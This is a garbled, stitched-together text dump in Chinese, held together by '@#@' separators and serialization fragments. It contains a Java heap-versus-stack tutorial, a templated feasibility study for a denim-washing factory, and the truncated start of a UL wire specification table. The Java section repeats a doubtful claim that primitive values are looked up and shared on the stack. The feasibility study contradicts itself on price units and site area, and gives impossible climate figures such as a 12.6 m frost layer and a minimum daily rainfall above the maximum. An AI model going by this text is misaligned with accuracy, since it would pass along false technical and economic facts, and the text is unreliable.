@#@@#@堆与栈的比较:
@#@@#@JAVA堆与栈都是用来存放数据的,那么他们之间到底有什么差异呢?
@#@既然栈也能存放数据,为什么还要设计堆呢?
@#@@#@1.从存放数据的角度:
@#@@#@ @#@ @#@ @#@ @#@前面我们已经说明:
@#@@#@ @#@ @#@ @#@栈中存放的是基本类型的变量or引用类型的变量@#@ @#@ @#@ @#@ @#@堆中存放的是对象or数组对象.@#@ @#@ @#@ @#@ @#@在栈中,引用变量的大小为32位,基本类型为1-8个字节。
@#@@#@ @#@ @#@ @#@ @#@但是对象的大小和数组的大小是动态的,这也决定了堆中数据的动态性,因为它是在运行时动态分配内存的,生存期也不必在编译时确定,Java的垃圾收集器会自动收走这些不再使用的数据。
@#@@#@ @#@@#@2.从数据共享的角度:
@#@@#@ @#@ @#@1).在单个线程类,栈中的数据可共享@#@ @#@ @#@例如我们定义:
@#@@#@Java代码@#@1.int @#@a=3;@#@ @#@ @#@@#@2.int @#@b=3;@#@ @#@ @#@@#@ @#@ @#@ @#@编译器先处理inta=3;@#@首先它会在栈中创建一个变量为a的引用,然后查找栈中是否有3这个值,如果没找到,就将3存放进来,然后将a指向3。
@#@接着处理intb=3;@#@在创建完b的引用变量后,因为在栈中已经有3这个值,便将b直接指向3。
@#@这样,就出现了a与b同时均指向3的情况。
@#@@#@ @#@ @#@而如果我们定义:
@#@ @#@@#@Java代码@#@1.Integer @#@a=new @#@Integer(3);@#@//
(1) @#@ @#@@#@2.Integer @#@b=new @#@Integer(3);@#@//
(2) @#@ @#@@#@ @#@ @#@这个时候执行过程为:
@#@在执行
(1)时,首先在栈中创建一个变量a,然后在堆内存中实例化一个对象,并且将变量a指向这个实例化的对象。
@#@在执行
(2)时,过程类似,此时,在堆内存中,会有两个Integer类型的对象。
@#@ @#@@#@ @#@@#@ @#@ @#@2).在进程的各个线程之间,数据的共享通过堆来实现@#@ @#@ @#@ @#@ @#@ @#@例:
@#@那么,在多线程开发中,我们的数据共享又是怎么实现的呢?
@#@@#@ @#@@#@ @#@如图所示,堆中的数据是所有线程栈所共享的,我们可以通过参数传递,将一个堆中的数据传入各个栈的工作内存中,从而实现多个线程间的数据共享@#@(多个进程间的数据共享则需要通过网络传输了。
@#@) @#@@#@ @#@@#@3.从程序设计的的角度:
@#@@#@从软件设计的角度看,JVM栈代表了处理逻辑,而JVM堆代表了数据。
@#@这样分开,使得处理逻辑更为清晰。
@#@分而治之的思想。
@#@这种隔离、模块化的思想在软件设计的方方面面都有体现。
@#@@#@4.值传递和引用传递的真相@#@有了以上关于栈和堆的种种了解后,我们很容易就可以知道值传递和引用传递的真相:
@#@@#@1.程序运行永远都是在JVM栈中进行的,因而参数传递时,只存在传递基本类型和对象引用的问题。
@#@不会直接传对象本身。
@#@@#@但是传引用的错觉是如何造成的呢?
@#@@#@在运行JVM栈中,基本类型和引用的处理是一样的,都是传值,所以,如果是传引用的方法调用,也同时可以理解为“传引用值”的传值调用,即引用的处理跟基本类型是完全一样的。
@#@@#@但是当进入被调用方法时,被传递的这个引用的值,被程序解释(或者查找)到JVM堆中的对象,这个时候才对应到真正的对象。
@#@@#@如果此时进行修改,修改的是引用对应的对象,而不是引用本身,即:
@#@修改的是JVM堆中的数据。
@#@所以这个修改是可以保持的了。
@#@@#@ @#@@#@ @#@@#@最后:
@#@@#@从某种意义上来说对象都是由基本类型组成的。
@#@ @#@@#@可以把一个对象看作为一棵树,对象的属性如果还是对象,则还是一颗树(即非叶子节点),基本类型则为树的叶子节点。
@#@程序参数传递时,被传递的值本身都是不能进行修改的,但是,如果这个值是一个非叶子节点(即一个对象引用),则可以修改这个节点下面的所有内容。
@#@ @#@@#@其实,面向对象方式的程序与以前结构化的程序在执行上没有任何区别。
@#@@#@面向对象的引入,只是改变了我们对待问题的思考方式,而更接近于自然方式的思考。
@#@@#@当我们把对象拆开,其实对象的属性就是数据,存放在JVM堆中;@#@而对象的行为(方法),就是运行逻辑,放在JVM栈中。
@#@我们在编写对象的时候,其实即编写了数据结构,也编写的处理数据的逻辑。
@#@ @#@@#@";i:
24;s:
26335:
"XX工厂年产牛仔服饰40万件项目可行性研究报告@#@ @#@@#@XX工厂年产牛仔服饰40万件项目可行性研究报告@#@ @#@@#@第一章项目投资总论@#@@#@1.1项目投资背景@#@20世纪70年代末,响应国家改革开放政策,一位港商回乡投资,在新塘办起了第一家"@#@三来一补"@#@的牛仔服装制衣厂。
@#@从此牛仔服装涌入了中国的市场,它的中性化渐渐被国人接受了。
@#@牛仔服装在中国的20多年间,由另类标志成了老少皆宜的日常服装,不能不说发展迅速。
@#@@#@目前,中国已经成为较大的牛仔服装生产基地,全球约38%的牛仔服装来自中国。
@#@全国有近3万多家牛仔服装及相关配套企业,3000多个已注册的牛仔服装品牌,从事牛仔服装行业的人员近200万多人。
@#@@#@ 中国牛仔产业经过20多年的发展,由低级的手工作坊、独立经营扩展到大规模工业化生产、供应链联合协作的集团经营。
@#@可以为一大批诸如Levi'@#@s、Lee、苹果、万宝路、李宁等国内外著名品牌进行高质量的OEM生产。
@#@@#@1.1.1项目名称@#@*******公司/厂年产牛仔服饰40万件@#@1.1.2项目承办单位@#@*******公司/厂@#@1.1.3项目主管部门@#@**地市乡镇企业管理局@#@1.1.4项目拟建地区、地点@#@**地市铁西化工园区@#@1.1.5可行性报告编制单位@#@**********@#@1.1.6研究工作依据@#@*******公司/厂年产洗涤牛仔服饰40万件项目可行性研究报告委托书@#@1.1.7研究工作范围@#@A、市场需求预测与现有规模论证;@#@@#@B、原材料供应的可行性调查;@#@@#@C、技术方案的研究;@#@@#@D、工程项目对环境影响的研究;@#@@#@E、现有固定资产估算及经济效益分析;@#@@#@F、厂区中的总体布置与交通运输。
@#@@#@1.2项目投资可行性研究结论@#@本可研通过对*******公司/厂项目的技术论证和经济分析,认为该工程技术可行,经济合理,具有良好的社会、环境和经济效益。
@#@@#@1.2.1市场预测和项目规模@#@中国近14亿人口的消费规模,随着生活水平提高和生活方式的多样化,牛仔消费增长迅速。
@#@据调查显示:
@#@75%的消费者表示牛仔是必备的服饰,人均拥有3~5件的占45%,另20%的人群则高达5~7件之多。
@#@@#@ 随着全球经济一体化进程的加快,特别是中欧纺织品配额年底到期,会给中国牛仔服饰水洗行业带来一定的机遇,同时也会出现一个重新洗牌的过程,竞争也会进一步加剧。
@#@@#@项目计划年产量达到40万件,正式经营后年销售收入3400万元,年创税金及附加210.97万元,年创利润总额638.61万元,安排农村富余劳动力及下岗工人就业80余人。
@#@@#@1.2.2原材料、燃料和动力供应@#@本项目原材料为成品牛仔布料,当地有大型纺织企业,故原材料十分充足。
@#@燃料、动力均由当地购买。
@#@@#@1.2.3厂址@#@**地市铁西化工园区,紧邻小小线旧段,坐落在路的南侧,四周环境状况良好,远离居民区.@#@1.2.4项目工程技术方案概述@#@依据《建设工程质量管理条例》、《建筑设计规范》、《机械设备安装工程施工及验收通用规范》、《项目环境保护设计规定》要求;@#@项目严格按照产品生产工艺及国家行业标准建设一座标准的现代化的生产厂区,即包括项目的土建工程及其附属建设、项目的设备购置,并严格按照要求计划、组织、实施项目工程施工,协调项目组织机构。
@#@@#@1.2.5环境保护@#@企业的环境保护条件必须符合国家的环境保护法律、法规和环境保护部门的规章、标准。
@#@建立符合国家环境保护法律、法规和环境保护部门的规章、标准的管理规章制度。
@#@积极防治废水、噪声等有害物质对环境的污染与危害,按维修作业工艺要求设有废水处理工程和处理噪音的装置与设施。
@#@@#@1.2.6工厂组织及劳动定员@#@A企业厂长(经理):
@#@具有高中以上文化程度,从事牛仔服饰漂洗生产行业经营(管理)工作四年以上或经济(技术)管理工作八年以上。
@#@@#@ @#@ @#@ @#@B技术人员:
@#@至少有一名机械专业工程师或高级工程师(或具有中级专业技术职称任职资格的工程技术人员)负责技术工作。
@#@技术人员数不少于生产人员数的5%。
@#@@#@ @#@ @#@ @#@C质量检验人员:
@#@至少有一名经过行业培训,取得产品质量检验员资格的人员,负责质量把关工作。
@#@至少一名经过总检验员培训,担任总检验员。
@#@@#@ @#@ @#@ @#@ @#@D管理人员:
@#@至少有一名经过培训的财务结算人员或经过培训的统计人员。
@#@上述人员均应具有本专业任职资格证件。
@#@@#@ @#@ @#@ @#@ @#@E技术工人:
@#@企业工种设置应与其从事的生产范围相适应,各工种技术工人人数符合生产规模、生产工艺的要求。
@#@企业技术工人中高级工不少于10%,中级工不少于20%。
@#@生产工人应经行业培训,持证上岗。
@#@@#@共计员工总数150人@#@1.2.7项目建设进度@#@根据省、市主管部门及环保单位要求,加快整改,落实进度计划,从项目的可行性研究报告被批准之日起,至投产的工程进度,六个月完成。
@#@@#@1.2.8投资估算和资金筹措@#@项目投资总额为1563.9万元,其中固定资产投资1164.9万元(其中建筑物530万元、设备514.9万元、环境保护及其他投资120万元),项目前期费用98万元,流动资金300万元.@#@1.2.9项目财务和经济评论@#@本项目经济内部效益率超过社会折现率,经济净现值大于零。
@#@敏感性分析表明,每个因素的变化,都不同程度影响项目的评价指标值,计算结果,经济内部效益率大于社会折现率,经济净现值大于零。
@#@因此,本项目的建设从经济角度来看是可行的。
@#@@#@1.2.10项目综合评价结论@#@A、本工程项目立项依据充分,符合国家产业发展政策。
@#@@#@B、生产规模及产品方案构成合理。
@#@@#@C、采用的生产技术工艺设备及加工工艺技术成熟可靠,符合规范要求。
@#@@#@D、产品国内需求市场广阔,需求量大具有很好的发展前景。
@#@@#@E、在现有生产线设备全部新进,采用国际顶尖技术,符合环保要求。
@#@@#@F、项目在财务上是可行的,是有明显的经济效益,投资回收期比较短,并有一定的抗风险能力。
@#@@#@1.3投资主要技术经济指标表@#@序号@#@项目名称@#@单位@#@指标@#@备注@#@1@#@项目占地面积@#@平方米@#@13733.30@#@ @#@2@#@项目建筑面积@#@平方米@#@4800.00@#@ @#@3@#@项目总资金@#@万元@#@1562.90@#@ @#@4@#@流动资金投入@#@万元@#@300.00@#@ @#@5@#@现有固定资产@#@万元@#@1164.90@#@ @#@6@#@达产年产量@#@万件@#@40.00@#@ @#@7@#@年销售收入@#@万元@#@3400.00@#@ @#@8@#@总成本@#@万元@#@2550.42@#@ @#@9@#@经营税金及附加@#@万元@#@210.97@#@ @#@10@#@利润@#@万元@#@638.61@#@ @#@11@#@所得税@#@万元@#@210.74@#@ @#@12@#@财务内部收益率@#@%@#@ @#@ @#@税前@#@ @#@32.10@#@ @#@税后@#@ @#@22.47@#@ @#@13@#@财务净现值@#@万元@#@ @#@ @#@税前@#@ @#@2122.78@#@ @#@税后@#@ @#@1236.10@#@ @#@14@#@投资回收期@#@年@#@ @#@ @#@税前@#@ @#@1.96@#@没有建设期@#@税后@#@ @#@2.45@#@没有建设期@#@15@#@盈亏平衡点@#@%@#@34.2%@#@ @#@1.4投资存在问题及建议@#@项目财务合理,不存在其他问题,建议抓紧资金落实,尽快开展。
@#@@#@第二章项目背景和发展概况@#@2.1项目提出的背景@#@我国漂洗工业虽然起步较早,但由于种种原因,至今与西方发达国家相比,存在较大差距。
@#@这个差距主要是以反映在设备研制方面。
@#@国产设备在2000年以前,相对较大规模的设备生产线是以进口和合作制造为主,而国内自行研制的成套设备主要以年产2万-10万生产线为主,但因技术和设计原因,设备性能不完善,未能推广,只应用了为数不多的几套:
@#@黑龙江铁力,吉林三岔子,内蒙得尔布尔,河南商丘等项目。
@#@这些设备目前有的还在运行,有的已转买异地。
@#@对此类生产线设备行业专家和使用厂家的评价是:
@#@完全国产化的大幅面年产20万m生产线,是国产设备开发的一大技术进步,单就这类设备而言,主机设备没有太大的问题,完全能满足生产使用;@#@问题在于环境保护的问题上,环境污染问题最为主要,但是主要方面值得肯定,毕竟我们起步了,步入了正轨,而且以此为基础发展推动了我国漂洗工业不断向前。
@#@@#@2.1.1国家或行业发展规划@#@《漂洗行业准入条件》于2008年2月4日由国家发改委公布,@#@具体要求如下:
@#@@#@新建或改扩建漂洗项目应采用先进的工艺技术,采用节能环保的设备,主要设备参数应实现在线检测和自动控制,禁止采用列入《产业结构调整指导目录》限制类、淘汰类的落后生产工艺和设备,限制采用使用年限超过5年的二手前处理、染色设备。
@#@新建或改扩建漂洗生产线总体水平应接近或达到国际先进水平[棉、化纤及混纺机织物漂洗项目设计建设应执行《漂洗工厂设计规范》(GB50426-2007)]。
@#@@#@漂洗企业应具有一定的经济规模,棉、麻、化纤、丝绸机织物漂洗设计年生产能力应≥20万米/年。
@#@@#@新建或改扩建漂洗项目环保设施要按照《纺织工业企业环保设计规范》(GB50425-2007)的要求进行设计和建设,执行环保设施与主体工程同时设计、同时施工、同时投产的“三同时”制度。
@#@所在地区有集中污水处理设施或允许排放到城市污水收集系统的企业,需配置适当的处理设施或预留足够的处理场地,排放污染物指标达到集中处理厂或《污水排入城市下水道水质标准》规定的要求;@#@污染物直接排放到水体的漂洗企业,必须配置完善的处理设施,对污水及固体废弃物进行综合治理,污水处理及运行应实行自动化控制和在线监测。
@#@污染物排放必须符合污染物排放总量控制指标,并达到国家和地方环保部门规定的排放标准。
@#@@#@企业应按照规定办理《安全生产许可证》、《排污许可证》或《城市排水许可证》等相关许可后,方可进行生产销售。
@#@@#@2.1.2项目发起和发起缘由@#@目前,国产牛仔服饰漂洗产品虽然在市场整体份额上拥有40%以上份额,具有绝对优势,却仅分得高端市场1/5的利润。
@#@这主要是因为我国漂洗企业的发展初期正处于国内经济转轨时期,竞争处于纷杂状态,一时间涌现出的4000多家企业,多属于规模小、效率低、品质差,非专业化生产的企业,产品也多集中于中低端市场。
@#@全国目前有4500余家牛仔服饰漂洗生产厂。
@#@本项目发起人正是本着做大做强漂洗产业为目的发起本项目建设。
@#@@#@2.2项目发展概况@#@漂洗行业是纺织行业中的重要行业,是家用纺织品开发产品、提高附加值的重要环节,也是产业链中技术含量较高的行业。
@#@@#@ “十五”期间以来,中国的漂洗行业取得了巨大的进步,漂洗水平有了明显的提高,国内国际竞争力上升到了一个新的水平。
@#@从2000年到2005年,漂洗6大类的产品出口数量从38亿米增加到103.7亿米,平均增速达82%;@#@出口金额从28亿美元增加到84.8亿美元;@#@漂洗企业的户数从858家增加到1778家;@#@漂洗布的产量从158亿米增加到360亿米,平均增速达17.9%;@#@销售收入从513亿元增加到1345亿元,平均增长21.2%;@#@漂洗产品的出口交易值从242亿元增加到457亿元;@#@2005年全行业利润达到41.4亿元。
@#@比2000年递增了27.9亿元。
@#@@#@中国漂洗行业产品质量的大幅度提高,得益于中国企业进行的技术改造。
@#@近年来,不少中国漂洗纺织企业通过改善设备、加强自主研发能力等手段,使行业的核心竞争力明显提高。
@#@@#@2.2.1已进行的调查研究项目及其成果@#@目前国内同规模企业已经建立多家,但还不能形成规模化发展。
@#@多数企业基本盈利,产品销售市场稳定,销售收入基本可以预期。
@#@2008年沈阳彩虹漂洗集团公司年产20万米漂洗项目取得重大成功,年销售收入1950万元,税金及附加107.44万元。
@#@为其他漂洗企业起到了带头作用。
@#@@#@2.2.2试验试制工作情况@#@经过试验试制,已经开发生产一系列质量达到行业标准的产品,客户试用效果反映良好。
@#@@#@2.2.3厂址初勘和初步测量工作情况@#@现场已经做到“三平一通”,水文、地址测量已经结束,完全符合项目立项要求。
@#@@#@2.2.4项目建议书的编制、提出及审批过程@#@项目建议书已经编制,并提交上级有关部门。
@#@@#@2.3项目投资的必要性@#@漂洗工业发缓慢原因,除了市场因素以外,我们的技术设备研发力量薄弱,环境污染问题最是主要因素,且国内漂洗专业的大、中型企业也较少,而且由于市场需求的因素,这几天这些专业大、中厂的漂洗环保设备开发力度远不及产业开发投入的零头。
@#@这并非是漂洗产品没有市场需求,而恰恰相反,不但有市场需求,而且所需求的是高质量的、环保的产品;@#@但造成目前这种状况的原因主要是由于市场产品大量需求趋势和技术的普遍落后所致。
@#@@#@“科学技术是第一生产力”,相信科学,依靠科技,提高产品质量,推动企业快速健康发展,同时大幅降低生产成本,增强企业抗风险的能力。
@#@本项目采用环保设备,先进的工艺技术这不仅提高漂洗产品的质量,又可大幅改善漂洗行业污染问题。
@#@@#@而本项目的技术引进,将会带动和促进我国漂洗产业大的进展,改变该产业多年徘徊之局面。
@#@@#@ @#@@#@第三章项目市场分析与建设规模@#@3.1市场调查@#@3.1.1拟建项目产出物用途调查@#@本项目产品主要用于对外出口。
@#@@#@3.1.2产品现有生产能力调查@#@本项目年漂洗牛仔服饰40万件。
@#@@#@3.1.3产品产量及销售量调查@#@纵观世界漂洗工业发展历程,再结合我国特殊的情况,我国漂洗工业的发展具有以下鲜明的发展趋势。
@#@对漂洗产品的需求不断增加。
@#@这给我国漂洗行业发展带来新的机遇。
@#@因此,预计近期我国的漂洗产品消费量逐年增加。
@#@@#@3.1.4替代产品调查@#@本项目产品生产工艺简单,生产成本底,目前市场上同类产品本产品中价格优势极大,故不存在替代产品威胁。
@#@@#@3.1.5产品价格调查@#@经过调查目前市场上产品价格为85元/件。
@#@@#@3.1.6国外市场调查@#@世界银行的最新报告显示,2009年全球多数经济体将处于复苏之中,出口下降的局面将会在短期内得到缓解,国际市场需求逐渐增多仍是行业面临的机遇。
@#@@#@预计2010年1~11月漂洗行业规模以上企业漂洗布产量492亿米,同比增长2%;@#@工业总产值2078亿元,同比增长6%;@#@实现利润59亿元,同比增长2%;@#@出口98亿美元,同比增长6%。
@#@@#@3.2市场预测@#@3.2.1国内市场需求预测@#@ @#@2009年1~5月,规模以上漂洗企业完成工业总产值1879.69亿元,同比增长5.12%,增速增加8.40个百分点;@#@销售产值1858.03亿元,同比增长5.11%,增速增加8.89个百分点;@#@主营业务收入1832.85亿元,同比增长3.91%,增速增加10.52个百分点;@#@出口交货值1141.40亿元,同比下降19.46%,增速增加18.87个百分点。
@#@@#@3.2.2产品出口或进口分析@#@2009年1-7月我国累计向全球出口牛仔服饰337399万美元,比上年同期增长8.85%,增速较纺织品服装整体出口速度(7.12%)高1.73个百分点。
@#@7月单月其出口额达到51134万美元,单价2.18美元/米,较2009年1-7月平均价格水平(2.14美元/米)增加0.04美元/米。
@#@@#@ 下图为该类产品单月出口时间序列图。
@#@@#@金额――红色曲线、左轴,单位:
@#@万美元。
@#@@#@ 单价――绿色曲线、右轴、单位:
@#@美元/米。
@#@@#@3.2.3价格预测@#@未来几年全球漂洗市场需求有望以年均2.3%的速度增长,到2010年全球市场需求总量将达到4986000万米。
@#@其中亚太地区占36.7%,全球纺织业的健康发展将促使工业用漂洗需求的增长。
@#@而全球机纺织业的快速增长将促使民用漂洗需求的快速增长。
@#@未来几年亚太地区将成为全球漂洗需求增速最快的地区,其中中国将引导该地区乃至全球的需求增长,2010年全球漂洗的需求量将达到6937000万米,年增长速度为2.2%,价值360亿美元。
@#@中国纺织工业的蓬勃发展以及工业用棉也促进了漂洗业的发展。
@#@中国漂洗市场将以每年10%的速度增长,到2020年,中国市场的漂洗需求将会翻一番,消费量将可能超过美国。
@#@在未来几年里漂洗价格还将上涨3%-5%。
@#@@#@3.3市场推销战略@#@3.3.1推销方式@#@以广告和业务推销、代理经营为主,积极参加同行业产品交流会,与相关企业签订产品销售合同。
@#@@#@3.3.2推销措施@#@首先,打造品牌形象,扩大知名度。
@#@通过发放宣传单,在户外张贴大幅宣传海报;@#@积极引导消费者消费,扩大知名度。
@#@其次,科学制定指标,分解落实到位,并将指标完成情况作为考核员工绩效工资的依据,制定月份销售进度,按月进行检查,按月兑现,使员工既有压力,又有动力,充分调动了员工的销售积极性。
@#@第三,代理经营,扩大销售网络。
@#@要改变现行的经营模式,实行连锁经营、特许经营(代理店),扩大了漂洗销售网络。
@#@第四,诚信经营,服务促销。
@#@以质优、量足、价实的产品赢得了顾客信赖。
@#@@#@3.3.3促销价格制度@#@实行全国统一售价,代理经营。
@#@@#@3.3.4产品销售费用预测@#@销售费用按销售收入的百分之一计提。
@#@@#@3.4产品方案和建设规模@#@3.4.1产品方案@#@目前本项目产品为牛仔服饰。
@#@@#@3.4.2建设规模@#@建设年漂洗牛仔服饰40万件生产线@#@3.5产品销售收入预测@#@根据同行业产品价格分析确定本项目产品估算价格为85元/米,按年产量40万件计算,年预计销售收入为3400万元。
@#@@#@ @#@@#@第四章项目建设条件与厂址选择@#@4.1资源和原材料@#@4.1.1资源评述@#@项目所在地拥有大型纺织企业,基础原材料供应不成问题.@#@4.1.2原材料及主要辅助材料供应@#@本项目原材料主要是牛仔服饰,主要由周边的纺织厂提供,动力及辅助材料来源也十分充足广泛,本地区足可供应。
@#@@#@4.1.3需要作生产试验的原料@#@项目产品化验试验的消耗品由周边实验器具商店提供。
@#@@#@4.2建设地区的选择@#@4.2.1自然条件@#@
(1)气温@#@年平均气温:
@#@8.4℃@#@最热月平均气温:
@#@24.8℃@#@极端最高气温:
@#@38℃@#@极端最低气温:
@#@-33.7℃@#@冻土层厚度:
@#@12.6米@#@
(2)湿度@#@历年平均最高相对湿度:
@#@85%@#@历年平均最低相对湿度:
@#@39%@#@历年平均相对湿度:
@#@63%@#@(3)风@#@历年平均风速:
@#@2.5m/s@#@平均最大风速:
@#@29.65m/s@#@地面10米高度风速:
@#@10m/s@#@多年平均气压:
@#@1014毫米Hg/cm@#@冬季主导风向:
@#@北、西北风@#@夏季主导风向:
@#@南、正南风@#@(4)降水@#@历年平均降水:
@#@739.7mm@#@历年日最小降水量:
@#@422.7mm@#@历年日最大降水量:
@#@156.9mm@#@(5)雷电@#@历年年平均雷电日数:
@#@23天@#@历年最大雷电日数:
@#@39天@#@(6)地震烈度@#@根据**市市防震抗震办公室查询的国家地震烈度区划图,该项目所在区域建筑施工应按7度设防。
@#@@#@4.2.2基础设施@#@项目所在地公路、水、电等措施齐备,红砖、水泥等建筑材料充足,目前,项目建设区没有形成管道燃气,部分居民使用瓶装液化石油气。
@#@现有供暖方式为分散小容量锅炉供暖和炉灶取暖。
@#@该区拥有排水设施,污水由排水管道排出。
@#@@#@4.2.3社会经济条件@#@项目所在地**地市铁西工业园区,周边多同类企业,为项目建立提供适宜条件。
@#@全时上下坚持以科学发展观为统领,以园区建设为依托,以项目建设为载体,进一步坚定信心,强化措施,保持了工业经济稳定健康发展,为全市经济发展提供了有力的保证。
@#@截止到2009年9月末,全市工业总产值完成308亿元,同比增长16.1%;@#@工业增加值完成73.7亿元,同比增长25.8%,;@#@固定资产投资完成58.6亿元,同比增长57.4%,为项目提供了良好的经济环境。
@#@@#@4.2.4其它应考虑的因素@#@基于规划区的城市格局,因地制宜,充分利用优越的地形优势及自然条件,以生态保护为项目建设原则,构建自然和谐的项目生态环境,让新项目融于城市本身的经济、人文环境之中。
@#@依据城市经济轴线,延伸形成新的经济区域。
@#@依托周边产业区的经济优势,系统的组合配置城市基础资源,突显企业的支撑及带动作用。
@#@@#@4.3厂址选择@#@4.3.1厂址选择原则@#@
(1)遵循国家有关政策,项目建设不占用耕地。
@#@@#@
(2)建厂条件优越,水、电供应有保障,交通方便。
@#@@#@4.3.2厂址推荐方案@#@项目建在**地市铁西工业园区,紧邻省级公路,坐落在路的南侧,四周环境状况良好,远离居民区。
@#@厂区占地面积13733.3平方米,建筑面积4800平方米,地势较高,远离居民区,周围无任何污染源。
@#@@#@第五章项目工程技术方案@#@5.1项目组成@#@a、主要生产工程:
@#@综合办公室、生产车间。
@#@@#@b、辅助生产工程:
@#@库房。
@#@@#@c、公用工程:
@#@职工休息室、食堂、水泵房、变配电室、道路、送电工程、给水工程。
@#@@#@5.2生产技术方案@#@5.2.1产品标准@#@执行FZ/T62009-2003标准@#@5.2.2生产方法@#@在普通洗涤过清水后,加温到60°@#@C,根据漂白颜色的深浅,加适量的漂白剂,7-10分钟时间内使颜色对板一致。
@#@操作时,加漂剂的方向应与转缸的转向一致,以免漂白剂因不能尽快的与水稀释而直接落在衣物上,出现局部漂白。
@#@漂白前,缸内水位要稍高,以便漂水稀释。
@#@衣物漂白对板后,即以大(小)苏打(Na2CO3,NaHCO3)对水中的残余漂白水进行中和,使漂白完全停止。
@#@待过清水后,在50°@#@C水温中加洗涤剂,荧光增白剂,双氧水等作最后的洗涤,中和PH值,荧光增白等,最后进行柔软处理即可。
@#@@#@5.2.3技术参数和工艺流程@#@产品技术参数:
@#@@#@产品@#@含棉率@#@含水率@#@弹性@#@柔和度@#@静电@#@抗泡性@#@牛仔服@#@68%@#@0.05%@#@65@#@80@#@<@#@0.01@#@102@#@工艺流程:
@#@@#@浸泡→衣物浸渍后漂洗(带液率70%—80%)→烘干(65℃以下烘至含潮率5%—10%)→整烫定形→挂架焙烘(150—160℃,5—15min)@#@5.2.4主要工艺设备选择@#@根据节省投资的原则,本项目拟采TFMH系列漂洗设备一套,工艺流程简单容易操作,符合国家产业政策(不属于限制74型生产线系列、不属于淘汰类LMH系列),TFMH系列漂洗生产线主要由以下设备组成。
@#@@#@主要设备表:
@#@单位万元@#@名称@#@型号@#@数量@#@单价@#@金额@#@褪煮漂联合机@#@TFMH042@#@1@#@95@#@95@#@拉幅烘干机@#@TFMB87B@#@1@#@20@#@20@#@渗透机@#@TFMH801@#@1@#@85@#@85@#@长环蒸化机@#@TFMH493@#@1@#@84.5@#@84.5@#@连续振荡水洗机@#@TFLMH694@#@1@#@35.4@#@35.4@#@打底烘燥机@#@1@#@28@#@28@#@验码联合机@#@1@#@104@#@104@#@八角机@#@2@#@14@#@28@#@共计@#@ @#@ @#@ @#@479.9@#@5.2.5主要燃料、动力消耗指标@#@估算燃料费、动力费104万。
@#@@#@5.2.6主要生产车间布置方案@#@根据安全生产、设备工艺流程需要,做到安排布置合理。
@#@@#@5.3总平面布置和运输@#@5.3.1总平面布置原则@#@一是符合环保、安全、及消防要求@#@二是在保证生产流程合理的前提下,具有合理的功能分区,尽量减少和避免生产事故发生@#@三是公共服务建筑物布置在主要出入口处,便于内外联系。
@#@@#@5.3.2厂内外运输方案@#@采取包装汽运,做到定时、定点装卸运输。
@#@@#@5.3.3仓储方案@#@产品需包装贮存,储存堆尽量摆放整齐并靠于边缘地带,便于汽运装卸,并注意防火防电。
@#@@#@5.3.4占地面积及分析@#@厂区占地面积4800平方米,生产车间紧凑合理便于生产,仓储空间宽大通风便于运输。
@#@@#@5.4土建工程@#@5.4.1主要建、构筑物的建筑特征与结构设计@#@全部建筑物为砖混结构@#@5.4.2特殊基础工程的设计@#@无特殊基础工程@#@5.4.3建筑材料@#@主要为红砖@#@5.4.4土建工程造价估算@#@工程项目造价估算表@#@序号@#@项目名称@#@面积@#@单价@#@金额@#@备注@#@一、主要生产房屋@#@1.生产厂区@#@3500@#@700@#@420@#@2.库房@#@1000@#@800@#@80@#@3.";i:
25;s:
24470:
"UL线材规格表@#@UL线材规格表@#@用于识别电线电缆的规格和用途,合理准确地选择电缆电线规格,并能提供所需要的规格给采购部门用于采购到所需的线缆。
@#@@#@1常见UL规格和用途@#@1.1UL1007,300V @#@80°@#@,电子线32AWG @#@-16AWG @#@,单根或者裸铜,镀锡铜丝,标准UL758 @#@-。
@#@电子电器设备内部连接线,@#@1.2UL1015,600V @#@105°@#@电子线32AWG @#@-10AWG @#@,单根或者裸铜,镀锡铜丝,标准UL758 @#@。
@#@电子电器设备内部连接线,@#@1.3UL1032 @#@,1000V @#@90°@#@电子线30AWG @#@-4AWG @#@,单根或者裸铜,镀锡铜丝,标准UL758 @#@。
@#@电子电器设备内部连接线 @#@@#@1.4UL1061,300V @#@80°@#@电子线30AWG @#@-16AWG @#@,单根或者裸铜,镀锡铜丝,标准UL758 @#@。
@#@电子电器设备内部连接线@#@1.5UL1185,300V @#@80°@#@单芯屏蔽线,30-4AWG @#@单根或者裸铜,镀锡铜丝,用于录放音系统,电子电路等@#@1.6UL1429,150V @#@80°@#@交联PVC @#@线30-16AWG @#@,单根或者裸铜,镀锡铜丝标准UL758 @#@电子电器设备内部连接线@#@1.7UL1430,300V @#@105°@#@交联PVC @#@线30-16AWG @#@,单根或者裸铜,镀锡铜丝标准UL758 @#@电子电器设备内部连接线@#@1.8UL1431 @#@600V @#@105 @#@交联PVC @#@线30-16AWG @#@,单根或者裸铜,镀锡铜丝标准UL758 @#@电子电器设备内部连接线@#@1.9UL1704,300V @#@150°@#@ @#@32-10AWG @#@镀银,镀锡,镀镍软铜丝,铁氟龙线航空冶金石油仪器仪表,变压器电机引出线@#@1.10UL2096 @#@多芯屏蔽电线 @#@300V @#@80度30-16AWG @#@绞合裸铜,2-8芯,镀锡铜丝,电器电子内部连接器,UL758 @#@@#@1.11UL2405 @#@双芯屏蔽电线,300V @#@80度,30-16AWG @#@电脑,视听设备内部线@#@1.12UL2464,300V @#@80°@#@电脑线,无屏蔽,单屏蔽,双屏蔽,30AWG-18AWG @#@绞合裸铜,镀锡铜丝,电子电器内外部连接线@#@1.13UL2468,300V @#@80°@#@排线,30WAG-16AWG @#@单根,绞合铜丝,电器电脑内部连接线@#@1.14UL2517/2464/20276-SSS,300V @#@105°@#@28-16AWG @#@移动线缆,电子电器,通用线缆,机器人用线缆@#@1.15UL2547,80°@#@多芯屏蔽线缆80度,30-16AWG @#@2-3芯,录放音响电子系统@#@1.16UL2651 @#@排线300V @#@105度灰排彩排线,用于IDC @#@连接器配合PICH @#@2.54/2.0/1.27/1.0MM@#@1.17UL2678 @#@ATA300V @#@105 @#@度灰排线,用于ATA @#@连接器配合PICH @#@0.635MM@#@1.18UL2725,30V @#@80°@#@ @#@30-28AWG @#@2-13芯,用于2类系统视听电子设备内外部连接线@#@1.19UL2835 @#@30V @#@60度,屏蔽,无屏蔽,32-22AWG @#@用于2级电路电子设备内部连接线,游戏机线 @#@@#@1.20UL2851 @#@30V @#@80度@#@1.21UL3854 @#@30V @#@80度@#@1.22UL2919,30V @#@80°@#@低电压电脑线,1+4,3+4、5、6、7,,,RGB @#@显示器,电子计算机,商用计算机@#@1.23UL2960 @#@30V @#@60度低压电脑线@#@1.24UL2969 @#@30V @#@80度@#@1.25UL20276,30V 